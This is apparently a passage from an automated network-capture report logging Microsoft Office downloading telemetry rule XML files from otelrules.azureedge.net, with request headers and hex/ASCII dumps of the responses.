2024-11-27 16:58:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165819Z-174f78459688l8rvhC1EWRtzr000000009sg00000000k081 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-27 16:58:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165822Z-174f7845968qj8jrhC1EWRh41s0000000x3000000000n8u5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165822Z-174f7845968nxc96hC1EWRspw80000000x1g000000002yka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165822Z-174f7845968kdththC1EWRzvxn00000009p0000000002anm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165822Z-174f7845968xr5c2hC1EWRd0hn0000000dz000000000q196 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165822Z-174f7845968kdththC1EWRzvxn00000009pg000000000km2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165825Z-174f7845968vqt9xhC1EWRgten0000000x4g00000000tghm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
